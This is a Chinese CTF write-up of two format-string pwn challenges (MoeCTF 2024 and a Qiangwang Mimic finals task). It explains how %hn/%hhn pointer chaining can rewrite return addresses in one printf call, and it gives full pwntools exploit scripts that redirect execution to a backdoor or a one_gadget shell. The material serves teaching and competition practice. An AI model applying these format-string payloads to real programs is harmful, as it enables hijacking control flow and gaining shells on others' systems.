极限fmt利用🧐

2024Moectf的一道题目,十分有趣的格式化字符串利用😊,最终效果是完成了一次格式化字符串修改两个地方,也就是打一次非栈上fmt的指针跳板。这波属实有点极限

题目附件

夸克链接:https://pan.quark.cn/s/3ad0ae74c376

题目分析

开局给了一个栈地址,后边给了一次非栈上fmt的机会,同时题目给出后门,保护是全开的

返回地址和后门之间只差一个字节

ret:

backdoor:

按照正常的思路,需要构造一次指针跳板,造成a->b->ret->main,再去修改b地址偏移main的最后一个字节,但是%n是将前边的字节数写入对应偏移的位置,这里就有一个小tips

不管你输入的字节数是多少,%hhn只会去将总字节数的最后一个字节写入对应偏移处

例:

1
2
3
4
5
0x10000000c
0x1000000c
0x100000c
0x10000c
最后都是将0x0c写入对应偏移处

前提是比前边全部输入的总字节数要多

错误思路

按照我们之前指针跳板的思路,应该是这样构造payload

1
2
payload =b'%'+str(stack&0xffff).encode()+b'c%15$hn'
payload+=b'%'+str(0x10008-(stack&0xffff)).encode()+b'c%45$hhn'

实际只修改了第一个地址,第二个没有修改

引用

猜测:任意地址写用 <font style="color:rgb(68, 68, 68);">$</font> 指定写入和按参数顺序写入的操作是先后分开的,先按参数顺序写入指针后,再用 <font style="color:rgb(68, 68, 68);">$</font> 去在刚刚的指针基础上进行修改。注意:这仅仅是个猜测,真相应该去源码中找到答案 (以后有机会的话,我应该会去分析 <font style="color:rgb(68, 68, 68);">printf</font> 函数的源码,来探究出这个答案,但可惜不是现在🤔

正确思路

paylaod

1
payload=b'%p'*13+b'%'+str((stack&0xffff)-138).encode()+b'c%hn'+b'%'+str(0x10008-(stack&0xffff)).encode()+b'c%45$hhn'

printf 解析参数会根据 % 进行判断,在 hn 前面一共有 15% ,所以这个 %xxxc%hn 会将 xxx 数据加上 %p 泄露的字符个数写入第十五个参数

13+1+1=15

stack&0xffff 这个是返回地址的最后两个字节

-138 前边的%p泄露的东西,需要减去这些字符数,这里需要手动调试计算,不同版本对应也不同

0x8b是139,多接受了一个\n,听别的师傅才发现这个用法

1
2
3
a = p.recvall()
print(len(a)-1)

一开始是直接ai生成的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#leak = b'0x5555555580400x1000x7ffff7d147e20x1e0x7fffffffbc7c(nil)0x536eddd9e5d93f000x7fffffffdf300x5555555552d90x10x7ffff7c29d90(nil)0x5555555552bd'
leak = b'0x5555555580400x1000x7ffff7d147e20xb0x7fffffffbc84(nil)0x8b916887b95c3b000x10x7ffff7c29d90(nil)0x5555555551a90x100000000'
decoded = leak.decode()

# 存储解析出的地址
results = []
i = 0
while i < len(decoded):
if decoded.startswith('0x', i):
# 找下一个 '0x' 或 '(nil)' 的位置
j = i + 2
while j < len(decoded) and not decoded.startswith('0x', j) and not decoded.startswith('(nil)', j):
j += 1
results.append(decoded[i:j])
i = j
elif decoded.startswith('(nil)', i):
results.append('(nil)')
i += 5
else:
# 防止死循环
i += 1

# 输出每项和总长度
total_length = 0
print("提取结果及长度:")
for idx, item in enumerate(results, 1):
length = len(item)
total_length += length
print(f"{idx:>2}. {item:<20} 长度: {length}")

print(f"\n总长度(字节数): {total_length}")

0x10008只是将最后一个字节改为0x08,只要比前边字节大得多就可以实现

完成利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import*
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr(size):
return u64(p.recv(size).ljust(8,b'\x00'))
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')

elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')
rl(b'0x')
stack=int(p.recv(12),16)+0x18
li(hex(stack))

rl("You will have only one chance!")
#payload =b'%'+str(stack&0xffff).encode()+b'c%15$hn'
#payload+=b'%'+str(0x10008-(stack&0xffff)).encode()+b'c%45$hhn'
payload=b'%p'*13+b'%'+str((stack&0xffff)-138).encode()+b'c%hn'+b'%'+str(0x10008-(stack&0xffff)).encode()+b'c%45$hhn'
#bug()
s(payload)


inter()

第六届强网拟态线下赛-pwn

也是这个的点的利用,但这道题目更难一些,解题思路也更加新颖,感觉格式化字符串的思路更极限了

题目分析

libc版本是2.31的

给了一个栈地址的最后两个字节,同时有一次非栈上fmt的机会,保护除了canary都是开着的,最后是调用_exit退出。

第一步肯定是想如何去控制返回地址,达到多次利用fmt的效果,这里我们就劫持printf的返回地址为main

1
2
3
4
payload =  b'%p'*9
payload += b'%'+str(printf_ret - 90).encode()+b'c%hn'#11
payload += b'%'+str(0x100023 - printf_ret).encode()+b'c%39$hhn'
payload=payload.ljust(0x100,b'\x00')

后续补全0x100字节是为了避免read把两次读入的payload一次读入

这里再强调一下,一个%代表一个偏移,payload += b’%‘+str(printf_ret - 90).encode()+b’c%hn’#11本身是有两个%的,所以算两个偏移

计算%p*9的字节数还可以用,-1是因为\n

1
2
a=p.recvall()
print(len(a)-1)

之后再去执行printf的时候返回地址还是没有更改,这就需要我们每一次先将返回地址修改,因为跳板指针不会变,所以我们这里可以直接修改,这是是打算将返回地址(rbp+8)修改为one_gadget,但这样却没办法执行,参考大佬的思路,是将printf的返回地址改为ret,再将此时栈顶改为one_gadget,就可以跳转到one_gagdet,getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr(size):
return u64(p.recv(size).ljust(8,b'\x00'))
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')

elf=ELF('./fmt')
#p=remote('',)
p = process('./fmt')

rl("Gift: ")
ret=int(p.recv(4),16)
li(hex(ret))
pause()
printf_ret=ret-12

payload = b'%p'*9
payload += b'%'+str(printf_ret - 90).encode()+b'c%hn'#11
payload += b'%'+str(0x100023 - printf_ret).encode()+b'c%39$hhn'
payload=payload.ljust(0x100,b'\x00')
#bug()
s(payload)
p.recvuntil("0x100")
libc_base=int(p.recv(14),16)-0x10e1f2
ogg=libc_base+0xe3b01
li(hex(libc_base))
li(hex(ogg))

#a = p.recvall()
#li(hex(len(a)-1))
pause()
payload = b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str((ret-4)-0x23).encode()+b'c%27$hn'
payload=payload.ljust(0x100,b'\x00')
#bug()
s(payload)
pause()
payload = b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str(((ogg&0xffff))-0x23).encode()+b'c%41$hn'
payload=payload.ljust(0x100,b'\x00')
#bug()
s(payload)


pause()
payload = b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str((ret-4+2)-0x23).encode()+b'c%27$hn'
payload=payload.ljust(0x100,b'\x00')
#bug()
s(payload)

pause()
payload = b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str((ogg>>16&0xffff)-0x23).encode()+b'c%41$hn'
payload =payload.ljust(0x100,b'\x00')
bug()
s(payload)



pause()
payload = b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str((ret-4+2+2)-0x23).encode()+b'c%27$hn'
payload=payload.ljust(0x100,b'\x00')
#bug()
s(payload)

'''
pause()
payload = b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str((ogg>>32)-0x23).encode()+b'c%41$hn'
payload =payload.ljust(0x100,b'\x00')
bug()
s(payload)
'''

pause()
payload = b'%'+str(0xc4).encode()+b'c%39$hhn'
s(payload)
inter()

好抽象,需要把这一部分去了才成功,调试发现是改错数字了,可能是我本地关闭arls的原因🧐,这里也不重要,前边改好之后后续改one_gadget就是一个板子题

参考

https://qfbsz.github.io/2024/10/02/onechance-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2/

https://zikh26.github.io/posts/a523e26a.html#%E5%89%8D%E8%A8%80